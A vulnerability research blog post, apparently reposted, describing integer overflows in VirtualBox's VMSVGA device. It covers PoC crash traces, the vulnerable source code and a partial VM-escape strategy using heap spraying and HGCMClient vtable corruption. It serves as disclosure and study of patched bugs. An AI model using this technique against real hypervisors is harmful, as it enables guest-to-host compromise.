HackDig : Dig high-quality web security articles for hackers

VirtualBox VMSVGA VM Escape

2019-11-16 06:35
VirtualBox emulates VMware virtual SVGA device whose interface details and programming model is available publicly [2]. Moreover, the paper “GPU Virtualization on VMware’s Hosted I/O Architecture” [1] is a great reference to the architecture of VMware SVGA device. Kostya Kortchinsky first published “CLOUDBURST - A VMware Guest to Host Escape Story” [3] detailing a VM escape using bugs in VMware SVGA device.

Similarly Oracle also fixed a bunch of issues in their VMSVGA device (CVE-2014-6595, CVE-2014-6588, CVE-2014-6589, CVE-2014-6590, CVE-2015-0427) during the Critical Patch Update - January 2015 [6]. “Attacking hypervisors through hardware emulation” [4] has some details regarding the VMSVGA bugs in VirtualBox.

It is important to note that VMSVGA device is not enabled by default and probably has very limited users. However, the feature can be enabled as mentioned in the documentation of VBoxManage [5].

VBoxManage modifyvm VMNAME --graphicscontroller vmsvga
Oracle fixed VMSVGA bugs CVE-2017-10210, CVE-2017-10236, CVE-2017-10239, CVE-2017-10240, CVE-2017-10392, CVE-2017-10407 and CVE-2017-10408 which I reported, during the Critical Patch Updates in July 2017 [7] and October 2017 [8]. CVE-2017-10210, CVE-2017-10236, CVE-2017-10239 and CVE-2017-10240 was also found by Li Qiang of the Qihoo 360 Gear Team [7]. This blog post details some of these issues and demonstrate a VM escape using them.

Analysis was carried out in VirtualBox version 5.1.22 for OSX. VirtualBox for Linux is not built with support for VMSVGA 3D features and are available only in Windows and OSX.

CVE-2017-10210 - Integer overflow in validating face[0].numMipLevels in vmsvga3dSurfaceDefine (DevVGA-SVGA3d.cpp)

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
/* cFaces must be 6 for a cubemap and 1 otherwise. */
AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER);
AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER);
. . .
}
Here “cFaces” can be set to 6 when using “surfaceflag” SVGA3D_SURFACE_CUBEMAP. Then “face[0].numMipLevels” can be set to a value such that cFaces * face[0].numMipLevels wraps. “cMipLevels” depends on number of SVGA3dSize structures passed for SVGA_3D_CMD_SURFACE_DEFINE command e.g. 2 == 6 * 0x2aaaaaab

face[0].numMipLevels value is used in multiple other commands leading to memory corruption. The PoC for CVE-2017-10210 demonstrates memory corruption using SVGA_3D_CMD_SURFACE_DESTROY command leading to invalid free().

int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid)
{
. . .
if (pSurface->pMipmapLevels)
{
for (uint32_t face=0; face < pSurface->cFaces; face++)
{
for (uint32_t i=0; i < pSurface->faces[face].numMipLevels; i++)
{
uint32_t idx = i + face * pSurface->faces[0].numMipLevels;
if (pSurface->pMipmapLevels[idx].pSurfaceData)
RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData);
}
}
RTMemFree(pSurface->pMipmapLevels);
}
. . .
}

renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc 
[sudo] password for renorobert:
poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE...
poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY...

 [lldbinit] process attach --pid 57984
[-] warning: get_frame() failed. Is the target binary started?
Process 57984 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.

Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 57984 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x000070000E657000 RBP: 0x000070000E656CC0 RSP: 0x000070000E656C88 o d I t s z a P c
RDI: 0x000000000000DB0B RSI: 0x0000000000000006 RDX: 0x0000000000000000 RCX: 0x000070000E656C88 RIP: 0x00007FFF5F9B7B66
R8: 0x0000000000000000 R9: 0x0000000000000000 R10: 0x0000000000000000 R11: 0x0000000000000206 R12: 0x000000000000DB0B
R13: 0x0000000000000004 R14: 0x0000000000000006 R15: 0x000000000000002D
CS: 0007 FS: 0000 GS: 0000 Jump is taken (c = 0)
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
__pthread_kill @ libsystem_kernel.dylib:
0x7fff5f9b7b66: 73 08 jae 0x7fff5f9b7b70 ; <+20>
0x7fff5f9b7b68: 48 89 c7 mov rdi, rax
0x7fff5f9b7b6b: e9 79 6f ff ff jmp 0x7fff5f9aeae9 ; cerror_nocancel
0x7fff5f9b7b70: c3 ret
0x7fff5f9b7b71: 90 nop
0x7fff5f9b7b72: 90 nop
0x7fff5f9b7b73: 90 nop

__pthread_markcancel @ libsystem_kernel.dylib:
0x7fff5f9b7b74: b8 4c 01 00 02 mov eax, 0x200014c
-----------------------------------------------------------------------------------------------------------------------------

Process 57984 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
Target 0: (VirtualBoxVM) stopped.
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
* frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333
frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127
frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521
frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305
frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682
frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]


CVE-2017-10236 – paMipLevelSizes is not validated leading to integer overflow in vmsvga3dSurfaceDefine (DevVGA-SVGA3d.cpp)

    /* Allocate buffer to hold the surface data until we can move it into a D3D object */
for (uint32_t i = 0; i < cMipLevels; ++i)
{
PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
. . .
pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
}
Here “cbSurfacePitch” and “cbSurface” calculations can overflow since “paMipLevelSizes” values are fully controlled by guest. Further RTMemAllocZ ends up allocating less buffer size than actually needed (due to invalid calculation of “cbSurface”). This could lead to out of bound read/write during usage of “pSurfaceData” in other SVGA commands. The provided PoC only demonstrates an invalid allocation which can be inspected in a debugger and does not trigger any crashes. However, this bug will be later used in the full VM escape exploit.

CVE-2017-10240 and CVE-2017-10408 – Multiple integer overflows in vmsvga3dSurfaceDMA (DevVGA-SVGA3d.cpp)

int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
for (unsigned i = 0; i < cCopyBoxes; i++)
{
. . .
if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;

if ( !paBoxes[i].w
|| !paBoxes[i].h
|| !paBoxes[i].d
|| paBoxes[i].x > pMipLevel->size.width
|| paBoxes[i].y > pMipLevel->size.height
|| paBoxes[i].z > pMipLevel->size.depth)
{
. . .
continue;
}
uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
}
In this case, first the “paBoxes” validation against “pMipLevel” can overflow leading to bypasses. Then “uDestOffset” validation against “pMipLevel->cbSurface” can also be bypassed due to integer overflow. Similar code patterns were found in multiple places. “uDestOffset” is used for computing “pBufferStart” argument during the call to vmsvgaGMRTransfer, leading to out of bound read or write based on the value of SVGA3dTransferType - SVGA3D_WRITE_HOST_VRAM or SVGA3D_READ_HOST_VRAM. The PoC for this bug accesses memory at an offset ~4GB from pMipLevel->pSurfaceData leading to crash. This bug can be exploited by spraying the heap and allocating the accessed memory region.

renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make
gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess
renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc
[sudo] password for renorobert:

[lldbinit] process attach --pid 14518
[-] warning: get_frame() failed. Is the target binary started?
Process 14518 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.

Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 14518 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x00007F976656CEB8 RBX: 0x0000000111C1C000 RBP: 0x00007000066CAC10 RSP: 0x00007000066CAC10 o d I t s Z a P c
RDI: 0x00007F976656CEB8 RSI: 0x0000000111C1C000 RDX: 0x0000000000000000 RCX: 0x4141414141414141 RIP: 0x00007FFF5FB78FD0
R8: 0x4141414141414141 R9: 0x0000000000000000 R10: 0x00000000FFFFFFFE R11: 0x00007F9654950EB8 R12: 0x0000000000000000
R13: 0x0000000000000001 R14: 0x00007F976656CEB8 R15: 0x0000000000000001
CS: 002B FS: 0000 GS: 0000
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
_platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib:
0x7fff5fb78fd0: 48 89 0f mov qword ptr [rdi], rcx
0x7fff5fb78fd3: 4c 89 04 17 mov qword ptr [rdi + rdx], r8
0x7fff5fb78fd7: 5d pop rbp
0x7fff5fb78fd8: c3 ret
0x7fff5fb78fd9: 48 83 c2 08 add rdx, 0x8
0x7fff5fb78fdd: 74 25 je 0x7fff5fb79004 ; <+228>
0x7fff5fb78fdf: 4d 31 c0 xor r8, r8
0x7fff5fb78fe2: 42 8a 0c 06 mov cl, byte ptr [rsi + r8]
-----------------------------------------------------------------------------------------------------------------------------

Process 14518 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
Target 0: (VirtualBoxVM) stopped.
[lldbinit] vmmap -a 0x00007F976656CEB8
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
* frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671
frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861
frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897
frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]


CVE-2017-10407 - Integer overflow in vmsvgaGMRTransfer (DevVGA-SVGA.cpp)

int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch,
SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight)
{
. . .
AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth <= pThis->vram_size,
("src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#xn",
src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size),
VERR_INVALID_PARAMETER);

uint8_t *pSrc = pThis->CTX_SUFF(vram_ptr) + offSrc;
. . .
}
The “offSrc” validation can overflow and the check against “vram_size” can be bypassed. This leads to out of bound read or write relative to the VRAM. vmsvgaGMRTransfer is used by multiple SVGA commands like SVGA_CMD_BLIT_GMRFB_TO_SCREEN, SVGA_3D_CMD_SURFACE_DMA, SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN etc.

In SVGA_CMD_BLIT_GMRFB_TO_SCREEN, the “offsetDest” is validated against the vram_size. Hence the destination of write can only start from within VRAM buffer. However, the “offsetSource” can end up pointing beyond VRAM buffer at a controlled offset, providing reliable info leak.

case SVGA_CMD_BLIT_GMRFB_TO_SCREEN:
{
. . .
unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y;
unsigned offsetDest = (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top;
unsigned cbCopyWidth = (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8;

AssertBreak(offsetDest < pThis->vram_size);

rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);
The PoC provided demonstrates OOB access relative to VRAM using SVGA_CMD_BLIT_GMRFB_TO_SCREEN and SVGA_3D_CMD_SURFACE_DMA.

Exploitation:

There are various bugs providing numerous combinations and primitives. I chose to use the bugs in vmsvga3dSurfaceDefine and vmsvga3dSurfaceDMA to demonstrate a full VM escape:

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
/* Allocate buffer to hold the surface data until we can move it into a D3D object */
for (uint32_t i = 0; i < cMipLevels; ++i)
{
PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
. . .
pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
}
. . .
}
Bugs in vmsvga3dSurfaceDefine() allows setting very large values for pMipmapLevel->size.width, pMipmapLevel->size.height and pMipmapLevel->size.depth but still end up allocating only the desired size heap chunks. This is very useful for further exploiting the integer overflows in vmsvga3dSurfaceDMA().

int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
for (unsigned i = 0; i < cCopyBoxes; i++)
{
. . .
/* Apparently we're supposed to clip it (gmr test sample) */
if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;

if ( !paBoxes[i].w
|| !paBoxes[i].h
|| !paBoxes[i].d
|| paBoxes[i].x > pMipLevel->size.width
|| paBoxes[i].y > pMipLevel->size.height
|| paBoxes[i].z > pMipLevel->size.depth)
{
. . .
continue;
}
. . .
uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
rc = vmsvgaGMRTransfer(pThis,
transfer,
. . .
paBoxes[i].w * pSurface->cbBlock,
paBoxes[i].d * paBoxes[i].h);
. . .
}
The first set of checks involving paBoxes can be bypassed since, pMipLevel width, height and depth are set to very large values in vmsvga3dSurfaceDefine(). Later these values are used for calculating the ‘uDestOffset’, which could be set to arbitrary value.

uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
However, there is a validation following this:
            AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);

i.e. uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) <= pMipLevel->cbSurface
Here one can set high values to either uDestOffset or (paBoxes[i].w * pSurface->cbBlock) or (paBoxes[i].h * paBoxes[i].d) to bypass the validation. In vmsvgaGMRTransfer(), (paBoxes[i].w * pSurface->cbBlock) and (paBoxes[i].h * paBoxes[i].d) are used in computing size arguments for memcpy() call. To keep sizes to sane values, let’s set uDestOffset to a large value, thus allowing read/write at an offset ~4GB from a surface allocation.

There are 2 things which needs to be solved in order to exploit this bug:
- Allocate the memory at offset ~4GB from a surface allocation
- The memory allocated at this huge offset should have interesting pointers to corrupt which could lead to code execution

In OSX, there are three types of allocations – tiny, small and large. For more details on the allocator refer the previous work [9] and [10]. Tiny and small heap allocations falls at an address range of 0x00007fxxxxx00000, whereas large allocations occupies another address range 0x00000001xxxxx000. Either of this heap allocation can be targeted to exploit this bug.

My choice was to target the tiny and small heap allocations. This is primarily because I was aware of tiny allocations holding pointers to vtable and other memory allocations, which could be corrupted for code execution. However, spraying the entire 4GB memory with tiny allocations is a very slow process. OSX supports small allocations up to the size of 127KB. So the idea is to allocate as much as small chunks as possible to speed up the heap spray and smaller amount of heap spray with tiny chunks.

Allocating tiny chunks:

For tiny chunks I targeted the allocations performed by HGCM (Host-Guest Communication Manager). Good amount of details about HGCM can be found in [11]. For this exploit, I used to HGCM connection objects for spraying. HGCM connections are initialized using the VMM virtual PCI device. The BAR0 of the device holds the I/O port address used for HGCM communication. Whenever an HGCM connection is initiated, a HGCMClient object of size 72 bytes is allocated in memory and client ID is returned. This is what the HGCMClient object looks like:

typedef struct _AVLULNodeCore
{
AVLULKEY Key; /** Key value. */
struct _AVLULNodeCore *pLeft; /** Pointer to left leaf node. */
struct _AVLULNodeCore *pRight; /** Pointer to right leaf node. */
unsigned char uchHeight; /** Height of this tree: max(height(left), height(right)) + 1 */
} AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE;

typedef struct _ObjectAVLCore
{
AVLULNODECORE AvlCore;
void *pSelf; // type HGCMObject
} ObjectAVLCore;

struct HGCMClient {
void *vptr_HGCMObject;
uint32_t m_cRefs;
uint32_t m_enmObjType; // HGCMOBJ_TYPE enum
ObjectAVLCore m_core;
void *pService; // type HGCMService
void *pvData;
uint64_t padding;
} HGCMClient;
Creation and allocations of HGCMClient are done by HGCMService::CreateAndConnectClient in src/VBox/Main/src-client/HGCM.cpp. The client objects are maintained using a AVL tree. The nodes have client ID’s as key and also holds a pointer to object itself. During exploitation, we avoid corrupting the AVL tree metadata to prevent any crashes during lookup or insertion of AVL tree nodes. Further, the vtable of HGCMClient can be corrupted for gaining RIP control.

The deletion of HGCMClient objects happens during HGCM disconnect, which is handled by HGCMService::DisconnectClient where the corrupted vtable gets used.

int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService)
{
. . .
HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG);
AssertRelease(pMsg);

pMsg->u32ClientId = u32ClientId;

hgcmObjDereference(pMsg); // use of corrupted vtable on deletion
. . .
}

Allocating small chunks:

In order to fill 4GB, small chunks are much faster option compared to tiny chunks. SVGA_3D_CMD_SURFACE_DEFINE command can be used to allocate chunks of arbitrary size.

int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
AssertReturn(sid < SVGA3D_MAX_SURFACE_IDS, VERR_INVALID_PARAMETER);
. . .
pSurface = pState->papSurfaces[sid];

/* If one already exists with this id, then destroy it now. */
if (pSurface->id != SVGA3D_INVALID_ID)
vmsvga3dSurfaceDestroy(pThis, sid);
. . .
}
vmsvga3dSurfaceDefine() allows a maximum of SVGA3D_MAX_SURFACE_IDS (32 * 1024) unique surface allocations. With surfaces of size 127KB, this is a good enough limit to fill ~4GB of memory. Since the pages were allocated towards the lower addresses of heap, initially the HGCMClient objects are allocated followed by the surface allocations. This is what the memory layout looks like after the heap spray:
Memory layout before spray:


Stack 00007000060c1000-0000700006143000 thread 29
MALLOC_TINY 00007ff16b400000-00007ff16b500000 [ 1024K 684K 684K 316K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16b500000-00007ff16b700000 [ 2048K 792K 792K 1256K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16b700000-00007ff16b800000 [ 1024K 840K 840K 184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 1332K 1332K 2160K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff16c06e000-00007ff16d800000 [ 23.6M 2600K 2600K 4288K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16d800000-00007ff16d900000 [ 1024K 484K 484K 540K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16d900000-00007ff16da00000 [ 1024K 364K 364K 660K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 20K 20K 12K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 448K 448K 492K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 368K 368K 60K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY 00007ff170400000-00007ff170600000 [ 2048K 84K 84K 948K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff170800000-00007ff171000000 [ 8192K 4K 4K 96K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_SMALL 00007ff171000000-00007ff171800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
STACK GUARD 00007ffee50b0000-00007ffee88b0000 [ 56.0M 0K 0K 0K] ---/rwx SM=NUL stack guard for thread 0

Memory layout after spray:


Stack 000070000624a000-00007000062cc000 [ 520K 12K 12K 0K] rw-/rwx SM=PRV thread 35
MALLOC_SMALL 00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff08b400000-00007ff08b500000 [ 1024K 244K 244K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff0c2800000-00007ff0c3000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff0ec800000-00007ff0ed000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M 2588K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff0fb400000-00007ff0fb500000 [ 1024K 184K 184K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff12b400000-00007ff12b500000 [ 1024K 936K 936K 4K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff139000000-00007ff139800000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff139800000-00007ff13b000000 [ 24.0M 23.6M 23.6M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff13b400000-00007ff13b500000 [ 1024K 1016K 1016K 8K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16b400000-00007ff16b800000 [ 4096K 2464K 2464K 1632K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
